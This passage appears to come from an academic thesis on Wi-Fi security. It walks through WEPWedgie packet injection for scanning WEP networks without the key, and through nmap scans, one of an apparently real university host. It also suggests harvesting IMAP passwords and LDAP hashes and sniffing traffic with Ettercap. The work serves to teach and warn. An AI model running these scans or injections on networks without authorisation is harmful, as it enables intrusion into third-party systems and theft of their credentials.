
4.2 Gathering Information on a Victim

Chapter 2 had an introduction on how to gather intelligence on aWi-Fi network.
This section focuses on how it is possible to gather intelligence on the owners or users
of the Wi-Fi network. This is a huge topic, and here it will only barely be touched,
but still give a general idea of what can be achieved.

4.2.1 Scanning the Network and Computers

4.2.1.1 Scanning Through WEP

Figure 4.2: Network scanning through WEP.

Even without a WEP key it is possible to scan the wired network for computers,
and also port scan both wired and wireless computers. It can be argued that it is
much easier to �rst crack the WEP key, and then perform the scanning detailed in
the next section. But this attack can be performed after the attacker has sent a
single de-authentication frame in shared key authentication networks. However if
the network uses open authentication, the key sequence is more di�cult to obtain,
cracking the WEP key �rst should be considered instead. The technique is clever
and deserves attention even though it is not any longer very relevant in relation to
WEP. The attack uses the possibility of packet injection inWEP encrypted network
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to induce action from the attached clients. WEPWedgie is thesoftware tool which
has implemented the attacks.

There is no point in scanning for wireless hosts since they are already known by
eavesdropping on wireless tra�c. In addition to wireless hosts, all wired hosts which
have communicated with a wireless hosts are also known by their MAC address in
the header of a frame.

Scanning by inserting random MAC addresses as destinationsand waiting for
responses is useless as there are 248 di�erent MAC addresses. Not allMAC addresses
can belong to a physical network card, but the amount is stilltoo much. Sending
out a frame for each of the 248 possibleMAC addresses would take somewhere in
the area of 3,000 years if frames are sent out at a rate of 2,900frames/second. If a
packet for each possibleIP address is attempted: the time it takes is roughly 3 years.
Fortunatly for a hacker, the number of unusedIP addresses is running out. To rectify
the problem on a temporary basis, Network Address Translation (NAT ) is utilized
in most multi-computer homes and small to medium size o�ces.With NAT , most
computers are assignedIP addresses in the ranges 10.0.0.0/24 and 192.168.0.0/16.
Sending frames to the entire 192.168.0.0/16 range takes a minimum of 23 seconds at
2900 frames/second.

Since the replies are sent to the wireless client and the replies are encrypted, there
is a di�culty to determine which reply was to which request. The solution used by
WEPWedgie and illustrated in Figure 4.2 is to utilize an Internet return channel;
a \helping host". ICMP echo requests are injected with the source address of the
helping host. If the destination address of the request exists, that computer will
reply to the request, but send the reply to the helping host. The helping host can
view the reply with e.g. tcpdump, and will see theIP address of the client behind the
�rewall. However, when scanning for computersIP addresses, the attack will only
work when NAT is not used. If NAT is used, the helping host will only see theIP
address of theNAT router.

A much better solution, not found to be described anywhere else, is to encode a
serial number on theICMP echo request in the form of the size of the ICMP echo
data. The number of possible serial numbers increases with size of the available key
sequence. With a full key sequence, almost 1,500 unique serial numbers can be used.
The hacker can inject circa 1,500 requests, each with the data size incremeted by 1
byte, and with the source address of the wireless client. Therequests can be injected
as fast as possible. If a request is replied to, the reply is exactly the same size as
the request, thus it is very probable that it is the reply to the ICMP echo request,
and the fact that the IP address is used on the network is real. Unfortunatly theIP
address of the wireless client which receives the replies must be known or guessed in
advance for the attack to work.

While as mentioned above the use ofNAT will help identify ranges ofIP addresses
that are likely to be found, there are other methods that may be useful if the network
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does not utilize NAT . IP addresses are assign to organizations in blocks. In other
words, if one machine on a network has theIP address 129.177.16.3, it is highly likely
that other machines operate withIPs near by. As an example, the University of
Bergen occupies most if not all of the 129.177.0.0/16 range.

An purely dumb example execution of this attack is availablebelow in Listings
4.1 and 4.2. Here the network is a small one with three computers/IPs 192.168.1.1,
192.168.1.10, and 192.168.1.11. The address 192.168.1.10is utilized as a helping
host to discover the other two through a fourth computer thatonly injects ICMP
echo request packets to theWi-Fi network. Listing 4.1 shows WEPWedgie doing
the network scanning. -h c0:a8:01:0aspeci�es the helping hostsIP in hex notation,
-t c0:a8:01:00 instructs WEPWedgie to target the 192.168.1.0 network for scanning,
-S 3 is the parameter used to select ping scanning, and-i eth3 is used to make
WEPWedgie use theeth3 network interface. By default WEPWedgie uses a key
sequence stored in the �le prga�le.dat. The lines in the output of the WEPWedgie
program display theBSSID and MAC address the injected frames will operate with.
Every IP address WEPWedgie transmits a ping to is displayed.

Listing 4.1: Attacking machine.
apuk :/ home/ hallvar /Tools /wepwedgie -alpha -0.1.0# ./ we pwedgie -h c0 :a8 :01:0 a -t
c0 :a8 :01:00 -S 3 -i eth3
Pingscanning Selected
Reading prgafi le .dat
BSSID : 00:13:10:9 b :47: f1
Source MAC : 00:0e :35: a3 :0 f :56
IV: 40:2c:bc :00
Pingscan
Injecting Ping ....192.168.1.10 - >192.168.1.0
Injecting Ping ....192.168.1.10 - >192.168.1.1
Injecting Ping ....192.168.1.10 - >192.168.1.2
...
Injecting Ping ....192.168.1.10 - >192.168.1.252
Injecting Ping ....192.168.1.10 - >192.168.1.253
Injecting Ping ....192.168.1.10 - >192.168.1.254

In Listing 4.2 are the ICMP echo replies as displayed by tcpdump (-e icmp mean
tcpdump will only display ICMP packets). Notice there is no request since the request
was the injected packet from the attacking computer. Also notice how 192.168.1.11
came in �rst even though 192.168.1.1 was pinged �rst, which shows the need of syn-
chronous operation in case there is no helping host. The end result is that the at-
tacker now knows there are at least two machines reachable from the wireless network:
192.168.1.1 and 192.168.1.11.

Listing 4.2: Helping host.
santashelper :/ home / hallvar # tcpdump -i eth1 -e icmp
tcpdump : verbose output suppressed , use -v or -vv for ful l pr otocol decode
listening on eth1 , link - type EN10MB ( Ethernet ) , capture si ze 96 bytes
15:22:36.618539 00:13:10:9 b :47: ef (oui Unknown ) > 00:0e : 35: a3 :0 f :56 (oui
Unknown ) , ethertype IPv4 (0 x0800 ) , length 50: 192.168.1.1 1 >
192.168.1.10: ICMP echo reply , id 257 , seq 257 , length 12
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15:22:36.648536 00:0a:cd :07:70:3 e (oui Unknown ) > 00:0e : 35: a3 :0 f :56 (oui
Unknown ) , ethertype IPv4 (0 x0800 ) , length 64: 192.168.1.1 >
192.168.1.10: ICMP echo reply , id 257 , seq 257 , length 12

Port scanning a computer is similar, substitute-S 3 with -S 2 and -t c0:a8:01:00
with -t c0:a8:01:01to port scan 192.168.1.1. With port scanning there is the need for
a helping host, since it is much more di�cult, perhaps impossible, to provide a unique
encoding that is transferred outside of encryption. The waythe helping host will
identify open ports is by looking at the source port of theTCP frame. Unfortunatly
NAT replaces the source port when translating the communication. NAT uses the
source port to identify commnuication circuits, and uses the source port as a unique
identi�cation number. Thus port scanning is only useful when there is noNAT . One
solution is to scan the ports synchronously; send a request to a port and wait for a
reply before sending the next request.

4.2.1.2 NMap|The Network Mapper

NMap is a \network mapper", which can be used to port scan computers and scan the
network to �nd as much possible information on the network structure and services.

Searching for machines:

Listing 4.3: NMap scanning a network.
# nmap -sP 192.168.0.0/16

Start ing nmap 3.75 ( http :// www . insecure .org /nmap / ) at 20 04 -11 -05 07:17 CET
Host 192.168.1.0 seems to be a subnet broadcast address ( ret urned 2 extra pings ).
Host ********* (192.168.1.1) appears to be up .
Host ********* (192.168.1.2) appears to be up .
MAC Address : 00:0C :76:20:18:5 E (Micro - star Internat iona l CO .)
Host ********** (192.168.1.3) appears to be up.
MAC Address : 00:40:63: C9 :78: BA (VIA Technologies)
Host 192.168.1.255 seems to be a subnet broadcast address ( r eturned 2 extra pings ) .
Host ********** (192.168.2.1) appears to be up.

In Listing 4.3, NMap tries to sendICMP echo requests to everyIP address under
192.168.0.0/24, a total of 65,536 IP addresses. The scan �nishes in a matter of
minutes. Four computers have replied to the ping packets.

Listing 4.4: NMap port scanning a computer.
# nmap -O -A 129.177.48.11

Start ing nmap 3.75 ( http :// www . insecure .org /nmap / ) at 20 05 -03 -02 16:43 CET
Interest ing ports on tunnel -48 -11. vpn .uib .no (129.177.4 8.11) :
(The 1644 ports scanned but not shown below are in state : clos ed )
PORT STATE SERVICE VERSION
22/ tcp open ssh OpenSSH 3.8.1 p1 ( protocol 2.0)
53/ tcp open domain ISC Bind 9.2.4
80/ tcp open http Apache httpd 2.0.53 \ left ( Debian GNU /Linu x ) DAV /2 SVN

/1.1.3 mod_ssl /2.0.53 OpenSSL /0.9.7 e)
111/ tcp open rpcbind 2 ( rpc #100000)
135/ tcp fi l tered msrpc
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136/ tcp fi l tered profi le
137/ tcp fi l tered netbios -ns
138/ tcp fi l tered netbios -dgm
139/ tcp fi l tered netbios -ssn
143/ tcp open imap?
389/ tcp open ldap ( Anonymous bind OK)
443/ tcp open ssl /http Apache httpd 2.0.53 \ left ( Debian GNU /Linux ) DAV /2 SVN

/1.1.3 mod_ssl /2.0.53 OpenSSL /0.9.7 e)
445/ tcp fi l tered microsoft -ds
676/ tcp open status 1 ( rpc #100024)
973/ tcp open mountd 1-3 ( rpc #100005)
993/ tcp open ssl / unknown
1723/ tcp open pptp?
2049/ tcp open nfs 2-4 ( rpc #100003)
5432/ tcp open postgres ?

Device type : general purpose
Running : Linux 2.4.X |2.5. X |2.6. X
OS details : Linux 2.4.18 - 2.6.7
Uptime 19.916 days ( since Thu Feb 10 18:49:09 2005)

From the port scan in Listing 4.4, it is fair to assume there is no �rewall to
protect the computer because of the amount of open and reachable ports. Some of
the interesting things found in the port scan:

ˆ IMAP on port 143 is usually not encrypted so this gives a good opportunity to
obtain usernames and passwords.

ˆ The Lightweight Directory Access Protocol (LDAP ) server seems open for any-
one to read at least parts of it, perhaps it has password hashes?

ˆ Point-to-Point Tunneling Protocol (PPTP) is a VPN solution from Microsoft
[8] which may use no encryption at all or it may use Microsoft Point-to-Point
Encryption (MPPE) [15] which is vulnerable to an o�ine dictionary attack [33].

4.2.2 Monitor the Network Tra�c

4.2.2.1 Ettercap

Ettercap is a user friendly packet sni�er. It gives a great overview over the connections
in the network and may display the network tra�c. Several plug-ins have been
developed to do a number of attacks. In its current incarnation it requires the network
card to associate with the access point in order to show live network tra�c. However
it may display pre-captured data, even if it isWEP encrypted, although theWEP
key must be provided to it.

In Figure 4.3 a session with Ettercap is depicted. Ettercap can display a number
of screens, in the �gure it displays all live connections in the network with their
source and destinationIP address, and port numbers. The lower part of the screen is
a console where interesting information that Ettercap �ndswill be displayed to the
user.
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Figure 4.3: Ettercap under Linux.

4.2.3 Accessing the Computers

After probing the network and monitoring the tra�c several opportunities may present
themselves. Passwords may have been captured, open �le shares discovered, etc.

4.3 Summary

Vulnerable Wi-Fi networks give rise to a huge variety of possible further malicious
exploitation. With the Tor network a \good" intruder can even protect himself from
malicious Wi-Fi network owners, or other intruders. This chapter only mentioned
a few scenarios, reading e-mail, reporting spy activities,breaking into computers on
the network, monitoring users of the network, and a couple more.

If anyone still wants to keep theirWi-Fi connection unsecured after reading this
chapter they should read it again.





Chapter 5

Summary and Conclusions

5.1 Summary

The security vulnerabilities ofWi-Fi networks have been extensively covered in this
thesis. Technologies and equipment related to wireless communication in general was
introduced in Chapter 2 this because it involves knowledge that is not normally as-
sociated with a computer scientist. Yet it is important for any scientist interested in
pratical wireless communication to understand the physical aspects ofWi-Fi technol-
ogy.

This thesis provides a more or less complete overview of the status of Wi-Fi
security up to the point of IEEE 802.11i.

5.2 Conclusions

Old Wi-Fi products, still occupying a large share of the network installations, are not
by any means secure. Even equipment that can be con�gured to be secure, are left
unsecured, many times due to the increased complexity of access point setups. The
attention vulnerable Wi-Fi networks receive from hackers is tremendous, vulnerabil-
ities are not only discovered, but they are re�ned by others and implemented and
combined by a whole on-line community.

A compromised network is a great utility for several parties. Neighbors get free
broadband access to the Internet, malicious hackers retainstrong anonymity, and
mobile users get free Internet almost anywhere. Malicious hackers can monitor the
users of a network, giving the hackers many opportunities tocause havoc.

The risk of getting a visit from someone with bad intentions is currently fairly low,
but as it is rather easy to obtain enough knowledge and equipment to compromise
a Wi-Fi network, the risks will only rise. The fact that more and morenetworks
become secure, means that the remaining insecure network, will be hunted down by

67



68 CHAPTER 5. SUMMARY AND CONCLUSIONS

malicious hackers and abused.

5.3 Further Work

Denial-of-service attacks have not been studied in this thesis. They can be equally
severe as the other vulnerabilities and do deserve some attention.

5.3.1 WEP

WEP has been extensively studied by many people from across the world, attacks
have been implemented, some of which have been available to the public and open-
sourced. All that can be done is make the tools even easier to use than they are now.
Optimizations of the attacks are not really necessary as a network can be compromised
in just a few minutes.

5.3.2 WPA

As WPA still provides a level of privacy, it would be a great achievement to prove
otherwise.



Acronyms & Abbreviations

ACK Acknowledgement

AP Access Point

API Application Programming Interface

ARP Address Resolution Protocol

ASCII American Standards Character

BS Base Station

BSD Berkeley Software Distribution

BSS Basic Service Set

BSSID Basic Service Set Identi�er

CF Contention-Free

CRC Cyclic Redundency Check

CTS Clear To Send

dB Decibel

dBi Decibel Gain Related to an Isotropic Radiator

DCF Distributed Coordination Function

DGPS Di�erential Global Positioning System

DHCP Dynamic Host Con�guration Protocol

DIFS Inter-Frame Spacing

DNS Dynamic Name Resolution

69



70 CHAPTER 5. SUMMARY AND CONCLUSIONS

DSSS Direct Sequence Spread Spectrum

EIRP E�ective Isotropic Radiated Power

EIV Extended Initialization Vector

ESS Extended Service Set

ESSID Extended Service Set Identi�er

FCC Federal Communications Commission

FCS Frame Check Sequence

FMS Fiat, M, and Shamir

FTP File Transfer Protocol

GPS Global Positioning System

HTTP Hyper Text Transport Protocol

IBSS Independant Basic Service Set

ICMP Internet Control Message Protocol

ICV Integrity Check Value

IP Internet Protocol

IEEE Institute of Eletrical and Electronics Engineers

IMAP Internet Message Access Protocol

IR Infrared

ISM Industrial, Scienti�c, and Medical

IV Initialization Vector

LAN Local Area Network

LDAP Lightweight Directory Access Protocol

LLC Link Layer Control

MAC Medium Access Control

MadWiFi Multiband Atheros Driver for WiFi
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Mbps Mega bits per second

MD5 Message Digest, version 5

MIC Message Integrity Code

mini-PCI Miniature Peripheral Component Interconnect

MPDU MAC Protocol Data Unit

MPPE Microsoft Point-to-Point Encryption

MS Mobile Station

mW Milli Watt

NAT Network Address Translation

NMEA National Marine Electronics Association

PAN Personal Area Network

PCF Point Coordination Function

PC-Card Peripheral Component Interconnect Card

PCMCIA Personal Computer Memory Card International Association

PGP Pretty Good Privacy

PIFS Inter-Frame Spacing

PKI Public Key Infrastructure

PLCP Physical Layer Convergence Protocol

PMK Pairwise Master Key

PPTP Point-to-Point Tunneling Protocol

PRGA Pseudo Random Number Generator Algorithm

PRNG Pseudo Random Number Generator

PRGN Pseudo Random Number Generator Number

PS Power Save

PSK Pre-Shared Key
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PTK Pairwise Transient Key

QoS Quality of Service

RC4 Rivest Cipher 4, or Ron's Code

RF Radio Frequency

RSA Rivest, Shamir, & Adleman

RSN IE Robust Security Network Information Element

RSN Robust Security Network

RTS Request To Send

SNAP Subnetwork Access Protocol

SSID Service Set Identity

TCP Transport Control Protocol

TCP/IP Transport Control Procotol/Internet Protocol

TKIP Temporal Key Integrity Protocol

U.FL Highrose Connector

U-NII Unlicensed National Information Structure

UDP Universal Datagram Protocol

URI Universal Resource Identi�er

USB Universal Serial Bus

VPN Virtual Private Network

W Watt

WDS Wireless Distribution System

WEP Wired Equivalent Privacy

Wi-Fi Wireless-Fidelity

WLAN Wireless Local Area Network

WPA Wi-Fi Protected Access
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WPA2 Wi-Fi Protected Access version 2

WPA-PSK Wi-Fi Protected Access|Pre-Shared Key

XOR Bitwise addtion
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